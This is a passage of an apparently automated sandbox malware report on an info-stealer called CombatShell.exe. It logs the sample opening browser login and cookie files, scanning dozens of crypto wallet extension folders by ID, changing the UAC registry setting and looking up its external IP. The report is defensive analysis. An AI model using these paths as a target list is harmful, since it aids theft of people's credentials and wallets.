\"C:\\Users\\%USERNAME%\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\lfdjd4n4.default\\cookies.sqlite\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"%LOCALAPPDATA%\\Google\\Chrome\\User Data\\AutofillStates\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\CertificateRevocation\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\chrome_shutdown_ms.txt\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\ClientSidePhishing\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\Crowd Deny\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\First Run\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\FirstPartySetsPreloaded\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\first_party_sets.db\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\first_party_sets.db-journal\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\GraphiteDawnCache\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\GrShaderCache\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\hyphen-data\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\Last Browser\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\Last Version\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\Local State\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\MediaFoundationWidevineCdm\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\MEIPreload\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\Module Info Cache\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\OnDeviceHeadSuggestModel\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\OptimizationHints\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\PKIMetadata\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\PnaclTranslationCache\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\PrivacySandboxAttestationsPreloaded\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\RecoveryImproved\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\SafetyTips\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\segmentation_platform\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\ShaderCache\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\Subresource Filter\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\ThirdPartyModuleList64\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\TpcdMetadata\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\TrustTokenKeyCommitments\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\Variations\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\ZxcvbnData\\Login Data\""},{"type":"linebreak"},{"type":"text","value":"\"CombatShell.exe\" trying to open a file \"C:\\Users\\%USERNAME%\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies\""}],"origin":"API Call","attck_id":"T1005","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1005","stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"Spyware/Information Retrieval","identifier":"api-114","type":6,"relevance":10,"name":"Tries to steal crypto wallet extension (file access)","description":"$51","description_v2":["CombatShell.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Local\\Local Extension Settings\\egjidjbpglichdcondbcbdnbeeppgdph related to Trust Wallet","CombatShell.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Local\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn related to MetaMask","CombatShell.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Local\\Local Extension Settings\\hnfanknocfeofbddgcijnmhnfnkdnaad related to Coinbase Wallet","CombatShell.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Local\\Local Extension Settings\\fhbohimaelbohpjbbldcngcnapndodjp related to Binance Chain Wallet","CombatShell.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Local\\Local Extension Settings\\bfnaelmomeimhlpmgjnjophhpkkoljpa related to Phantom","CombatShell.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Local\\Local Extension Settings\\ibnejdfjmmkpcnlpebklmnkoeoihofec related to TronLink","CombatShell.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Local\\Local Extension Settings\\fnjhmkhhmkbjkkabndcnnogagogbneec related to Ronin Wallet","CombatShell.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Local\\Local Extension Settings\\aeachknmefphepccionboohckonoeemg related to Coin98 Wallet)","CombatShell.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Local\\Sync Extension Settings\\bhghoamapcdpbohphigoooaddinpkbai related to Authenticator","CombatShell.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Local\\Sync Extension Settings\\afbcbjpbpfadlkmhmclhkeeodmamcflc related to Math Wallet","CombatShell.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Local\\Local Extension Settings\\ffnbelfdoeiohenkjibnmadjiehjhajb related to Yoroi","CombatShell.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Local\\Local Extension Settings\\hpglfhgfnhbgpjdenjgmdgoeiappafln related to Guarda","CombatShell.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Local\\Local Extension Settings\\cjelfplplebdjjenllpjcblmjkfcffne related to Jaxx Liberty","CombatShell.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Local\\Local Extension Settings\\amkmjjmmflddogmhpjloimipbofnfjih related to Wombat","CombatShell.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Local\\Local Extension Settings\\aiifbnbfobpmeekipheeijimdpnlpgpp related to Terra Station","CombatShell.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Local\\Local Extension Settings\\dmkamcknogkgcdfhhbddcghachkejeap related to Keplr","CombatShell.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Local\\Local Extension Settings\\mcohilncbfahbmgdjkbpemcciiolgcge related to OKX Wallet","CombatShell.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Local\\Local Extension Settings\\fhmfendgdocmcbmfikdcogofphimnkno related to Sollet","CombatShell.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Local\\Local Extension Settings\\opcgpfmipidbgpenhmajoajpbobppdil related to Sui Wallet","CombatShell.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Local\\Local Extension Settings\\jnlgamecbpmbajjfhmmmlhejkemejdma related to Braavos – Starknet Wallet","CombatShell.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Local\\Local Extension Settings\\jbdaocneiiinmjbjlgalhcelgbejmnid related to Nifty Wallet","CombatShell.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Local\\Local Extension Settings\\blnieiiffboillknjnepogjhkgnoapac related to EQUA Wallet","CombatShell.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Local\\Local Extension Settings\\fihkakfobkmkjojpchpfgcmhfjnmnfpi related to BitApp Wallet","CombatShell.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Local\\Local Extension Settings\\kncchdigobghenbbaddojjnnaogfppfj related to iWallet","CombatShell.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Local\\Local Extension Settings\\nlbmnnijcnlegkjjpcfjclmcfggfefdm related to MEW CX","CombatShell.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Local\\Local Extension Settings\\nanjmdknhkinifnkgdcggcfnhdaammmj related to GuildWallet","CombatShell.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Local\\Local Extension Settings\\nkddgncdjgjfcddamfgcmfnlhccnimig related to Saturn Wallet","CombatShell.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Local\\Local Extension Settings\\kpfopkelmapcoipemfendmdcghnegimn related to Liquality Wallet","CombatShell.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Local\\Local Extension Settings\\ookjlbkiijinhpmnjffcofjonbfbgaoc related to Temple","CombatShell.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Local\\Local Extension Settings\\ejbalbakoplchlghecdalmeeeajnimhm related to MetaMask","CombatShell.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Local\\Local Extension Settings\\kjmoohlgokccodicjjfebfomlbljgfhk related to Ronin Wallet","CombatShell.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Local\\Local Extension Settings\\akoiaibnepcedcplijmiamnaigbepmcb related to Yoroi","CombatShell.exe trying to open a file %LOCALAPPDATA%\\Local Extension Settings\\egjidjbpglichdcondbcbdnbeeppgdph related to Trust Wallet","CombatShell.exe trying to open a file %LOCALAPPDATA%\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn related to MetaMask","CombatShell.exe trying to open a file %LOCALAPPDATA%\\Local Extension Settings\\hnfanknocfeofbddgcijnmhnfnkdnaad related to Coinbase Wallet","CombatShell.exe trying to open a file %LOCALAPPDATA%\\Local Extension Settings\\fhbohimaelbohpjbbldcngcnapndodjp related to Binance Chain Wallet","CombatShell.exe trying to open a file %LOCALAPPDATA%\\Local Extension Settings\\bfnaelmomeimhlpmgjnjophhpkkoljpa related to Phantom","CombatShell.exe trying to open a file %LOCALAPPDATA%\\Local Extension Settings\\ibnejdfjmmkpcnlpebklmnkoeoihofec related to TronLink","CombatShell.exe trying to open a file %LOCALAPPDATA%\\Local Extension Settings\\fnjhmkhhmkbjkkabndcnnogagogbneec related to Ronin Wallet","CombatShell.exe trying to open a file %LOCALAPPDATA%\\Local Extension Settings\\aeachknmefphepccionboohckonoeemg related to Coin98 Wallet)","CombatShell.exe trying to open a file %LOCALAPPDATA%\\Sync Extension Settings\\bhghoamapcdpbohphigoooaddinpkbai related to Authenticator","CombatShell.exe trying to open a file %LOCALAPPDATA%\\Sync Extension Settings\\afbcbjpbpfadlkmhmclhkeeodmamcflc related to Math Wallet","CombatShell.exe trying to open a file %LOCALAPPDATA%\\Local Extension Settings\\ffnbelfdoeiohenkjibnmadjiehjhajb related to Yoroi","CombatShell.exe trying to open a file %LOCALAPPDATA%\\Local Extension Settings\\hpglfhgfnhbgpjdenjgmdgoeiappafln related to Guarda","CombatShell.exe trying to open a file %LOCALAPPDATA%\\Local Extension Settings\\cjelfplplebdjjenllpjcblmjkfcffne related to Jaxx Liberty","CombatShell.exe trying to open a file %LOCALAPPDATA%\\Local Extension Settings\\amkmjjmmflddogmhpjloimipbofnfjih related to Wombat","CombatShell.exe trying to open a file %LOCALAPPDATA%\\Local Extension Settings\\aiifbnbfobpmeekipheeijimdpnlpgpp related to Terra Station","CombatShell.exe trying to open a file %LOCALAPPDATA%\\Local Extension Settings\\dmkamcknogkgcdfhhbddcghachkejeap related to Keplr","CombatShell.exe trying to open a file %LOCALAPPDATA%\\Local Extension Settings\\mcohilncbfahbmgdjkbpemcciiolgcge related to OKX Wallet","CombatShell.exe trying to open a file %LOCALAPPDATA%\\Local Extension Settings\\fhmfendgdocmcbmfikdcogofphimnkno related to Sollet"],"description_v3":[{"type":"text","value":"CombatShell.exe trying to open a file %LOCALAPPDATA%\\Local Extension Settings\\egjidjbpglichdcondbcbdnbeeppgdph related to Trust Wallet"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file C:\\Users\\%USERNAME%\\AppData\\Local\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn related to MetaMask"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file C:\\Users\\%USERNAME%\\AppData\\Local\\Local Extension Settings\\hnfanknocfeofbddgcijnmhnfnkdnaad related to Coinbase Wallet"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file C:\\Users\\%USERNAME%\\AppData\\Local\\Local Extension Settings\\fhbohimaelbohpjbbldcngcnapndodjp related to Binance Chain Wallet"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file C:\\Users\\%USERNAME%\\AppData\\Local\\Local Extension Settings\\bfnaelmomeimhlpmgjnjophhpkkoljpa related to Phantom"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file C:\\Users\\%USERNAME%\\AppData\\Local\\Local Extension Settings\\ibnejdfjmmkpcnlpebklmnkoeoihofec related to TronLink"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file C:\\Users\\%USERNAME%\\AppData\\Local\\Local Extension Settings\\fnjhmkhhmkbjkkabndcnnogagogbneec related to Ronin Wallet"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file C:\\Users\\%USERNAME%\\AppData\\Local\\Local Extension Settings\\aeachknmefphepccionboohckonoeemg related to Coin98 Wallet)"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file C:\\Users\\%USERNAME%\\AppData\\Local\\Sync Extension Settings\\bhghoamapcdpbohphigoooaddinpkbai related to Authenticator"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file C:\\Users\\%USERNAME%\\AppData\\Local\\Sync Extension Settings\\afbcbjpbpfadlkmhmclhkeeodmamcflc related to Math Wallet"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file C:\\Users\\%USERNAME%\\AppData\\Local\\Local Extension Settings\\ffnbelfdoeiohenkjibnmadjiehjhajb related to Yoroi"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file C:\\Users\\%USERNAME%\\AppData\\Local\\Local Extension Settings\\hpglfhgfnhbgpjdenjgmdgoeiappafln related to Guarda"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file C:\\Users\\%USERNAME%\\AppData\\Local\\Local Extension Settings\\cjelfplplebdjjenllpjcblmjkfcffne related to Jaxx Liberty"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file C:\\Users\\%USERNAME%\\AppData\\Local\\Local Extension Settings\\amkmjjmmflddogmhpjloimipbofnfjih related to Wombat"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file C:\\Users\\%USERNAME%\\AppData\\Local\\Local Extension Settings\\aiifbnbfobpmeekipheeijimdpnlpgpp related to Terra Station"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file C:\\Users\\%USERNAME%\\AppData\\Local\\Local Extension Settings\\dmkamcknogkgcdfhhbddcghachkejeap related to Keplr"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file C:\\Users\\%USERNAME%\\AppData\\Local\\Local Extension Settings\\mcohilncbfahbmgdjkbpemcciiolgcge related to OKX Wallet"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file C:\\Users\\%USERNAME%\\AppData\\Local\\Local Extension Settings\\fhmfendgdocmcbmfikdcogofphimnkno related to Sollet"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file C:\\Users\\%USERNAME%\\AppData\\Local\\Local Extension Settings\\opcgpfmipidbgpenhmajoajpbobppdil related to Sui Wallet"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file C:\\Users\\%USERNAME%\\AppData\\Local\\Local Extension Settings\\jnlgamecbpmbajjfhmmmlhejkemejdma related to Braavos – Starknet Wallet"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file C:\\Users\\%USERNAME%\\AppData\\Local\\Local Extension Settings\\jbdaocneiiinmjbjlgalhcelgbejmnid related to Nifty Wallet"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file C:\\Users\\%USERNAME%\\AppData\\Local\\Local Extension Settings\\blnieiiffboillknjnepogjhkgnoapac related to EQUA Wallet"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file C:\\Users\\%USERNAME%\\AppData\\Local\\Local Extension Settings\\fihkakfobkmkjojpchpfgcmhfjnmnfpi related to BitApp Wallet"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file C:\\Users\\%USERNAME%\\AppData\\Local\\Local Extension Settings\\kncchdigobghenbbaddojjnnaogfppfj related to iWallet"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file C:\\Users\\%USERNAME%\\AppData\\Local\\Local Extension Settings\\nlbmnnijcnlegkjjpcfjclmcfggfefdm related to MEW CX"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file C:\\Users\\%USERNAME%\\AppData\\Local\\Local Extension Settings\\nanjmdknhkinifnkgdcggcfnhdaammmj related to GuildWallet"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file C:\\Users\\%USERNAME%\\AppData\\Local\\Local Extension Settings\\nkddgncdjgjfcddamfgcmfnlhccnimig related to Saturn Wallet"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file C:\\Users\\%USERNAME%\\AppData\\Local\\Local Extension Settings\\kpfopkelmapcoipemfendmdcghnegimn related to Liquality Wallet"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file C:\\Users\\%USERNAME%\\AppData\\Local\\Local Extension Settings\\ookjlbkiijinhpmnjffcofjonbfbgaoc related to Temple"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file C:\\Users\\%USERNAME%\\AppData\\Local\\Local Extension Settings\\ejbalbakoplchlghecdalmeeeajnimhm related to MetaMask"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file C:\\Users\\%USERNAME%\\AppData\\Local\\Local Extension Settings\\kjmoohlgokccodicjjfebfomlbljgfhk related to Ronin Wallet"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file C:\\Users\\%USERNAME%\\AppData\\Local\\Local Extension Settings\\akoiaibnepcedcplijmiamnaigbepmcb related to Yoroi"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file %LOCALAPPDATA%\\Local Extension Settings\\egjidjbpglichdcondbcbdnbeeppgdph related to Trust Wallet"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file %LOCALAPPDATA%\\Local Extension Settings\\nkbihfbeogaeaoehlefnkodbefgpgknn related to MetaMask"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file %LOCALAPPDATA%\\Local Extension Settings\\hnfanknocfeofbddgcijnmhnfnkdnaad related to Coinbase Wallet"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file %LOCALAPPDATA%\\Local Extension Settings\\fhbohimaelbohpjbbldcngcnapndodjp related to Binance Chain Wallet"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file %LOCALAPPDATA%\\Local Extension Settings\\bfnaelmomeimhlpmgjnjophhpkkoljpa related to Phantom"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file %LOCALAPPDATA%\\Local Extension Settings\\ibnejdfjmmkpcnlpebklmnkoeoihofec related to TronLink"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file %LOCALAPPDATA%\\Local Extension Settings\\fnjhmkhhmkbjkkabndcnnogagogbneec related to Ronin Wallet"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file %LOCALAPPDATA%\\Local Extension Settings\\aeachknmefphepccionboohckonoeemg related to Coin98 Wallet)"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file %LOCALAPPDATA%\\Sync Extension Settings\\bhghoamapcdpbohphigoooaddinpkbai related to Authenticator"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file %LOCALAPPDATA%\\Sync Extension Settings\\afbcbjpbpfadlkmhmclhkeeodmamcflc related to Math Wallet"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file %LOCALAPPDATA%\\Local Extension Settings\\ffnbelfdoeiohenkjibnmadjiehjhajb related to Yoroi"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file %LOCALAPPDATA%\\Local Extension Settings\\hpglfhgfnhbgpjdenjgmdgoeiappafln related to Guarda"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file %LOCALAPPDATA%\\Local Extension Settings\\cjelfplplebdjjenllpjcblmjkfcffne related to Jaxx Liberty"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file %LOCALAPPDATA%\\Local Extension Settings\\amkmjjmmflddogmhpjloimipbofnfjih related to Wombat"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file %LOCALAPPDATA%\\Local Extension Settings\\aiifbnbfobpmeekipheeijimdpnlpgpp related to Terra Station"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file %LOCALAPPDATA%\\Local Extension Settings\\dmkamcknogkgcdfhhbddcghachkejeap related to Keplr"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file %LOCALAPPDATA%\\Local Extension Settings\\mcohilncbfahbmgdjkbpemcciiolgcge related to OKX Wallet"},{"type":"linebreak"},{"type":"text","value":"CombatShell.exe trying to open a file %LOCALAPPDATA%\\Local Extension Settings\\fhmfendgdocmcbmfikdcogofphimnkno related to Sollet"}],"origin":"API Call","attck_id":"T1005","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1005","stream_data":null},{"threat_level":2,"threat_level_human":"malicious","category":"System Security","identifier":"registry-10","type":3,"relevance":8,"name":"Modifies the UAC/LUA settings (Account Control)","description":"\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\POLICIES\\SYSTEM\"; Key: \"ENABLELUA\"; Value: \"30000000\")","description_v2":["\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\POLICIES\\SYSTEM\"; Key: \"ENABLELUA\"; Value: \"30000000\")"],"description_v3":[{"type":"text","value":"\"CombatShell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\POLICIES\\SYSTEM\"; Key: \"ENABLELUA\"; Value: \"30000000\")"}],"origin":"Registry Access","attck_id":"T1112","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1112","stream_data":null}],"detonation_parameters":{"action_script":"default","experimental_anti_evasion":true,"script_logging":true,"allow_sample_tampering":true,"network_mode":"default","custom_system_date_time":null,"custom_commandline":null,"document_password":null,"document_password_exists":false,"environment_variable":null,"dynamic_analysis_time":180,"comment":null},"falcon_mal_query_results":[],"falcon_intelligence_data":null,"search_tags":[],"execution_mode":"KERNELMODE","monitor_script":"default.au3","monitor_script_description":"Default analysis","windows_version_name":"Windows 11","windows_version_edition":"Professional","windows_version_service_pack":null,"windows_version_version":"10.0 (build 22621)","windows_version_bitness":"64","custom_date_time":null,"sandbox_version":"13.0.3","report_generator_version":null,"signature_engine_version":null,"mitre_version":null,"office_analysis":false,"office_version":null,"incidents":[{"name":"Spyware","details":["POSTs data to a webserver","Found a string that may be used as part of an injection method","Tries to steal browser sensitive information (file access)","Attempts to steal desktop application's information (file access)"]},{"name":"Stealer/Phishing","details":["Reads FTP client related files"]},{"name":"Fingerprint","details":["Queries process information","Tries to identify its external IP address"]},{"name":"Evasive","details":["Reads the registry for VMWare specific artifacts"]},{"name":"Network Behavior","details":["Contacts 2 domains and 2 hosts"]}],"icon":"$52","visualization":"$53","classification":["53.4% (.CPL) Windows Control Panel Item (generic)","15.3% (.EXE) Microsoft Visual C++ compiled executable (generic)","9.7% (.EXE) Win64 Executable (generic)","9.2% (.EXE) DOS Borland compiled Executable (generic)","4.6% (.EXE) Win16 NE executable (generic)"],"dns_requests":[{"compromised":false,"domain":"api.ipify.org","address":"172.67.74.152","ttl":300,"country":"United States","registrar_name":"eNom, Inc.","registrar_organization":null,"registrar_name_servers":"NS4.DNSIMPLE.COM","registrar_creation_date":"2014-01-05T22:02:15+00:00","who_is":[{"key":"Address","value":"2989 Bella Drive"},{"key":"City","value":"Concord"},{"key":"Country","value":"US"},{"key":"Creation Date","value":"2014-01-05T22:02:15"},{"key":"DNSSEC","value":"unsigned"},{"key":"Domain Name","value":"IPIFY.ORG"},{"key":"EMail","value":"r@rdegges.com"},{"key":"Expiration Date","value":"2018-01-05T22:02:15"},{"key":"name","value":"Randall Degges"},{"key":"Name Server","value":"NS1.DNSIMPLE.COM"},{"key":"Name Server","value":"NS4.DNSIMPLE.COM"},{"key":"Reigstrar","value":"eNom, 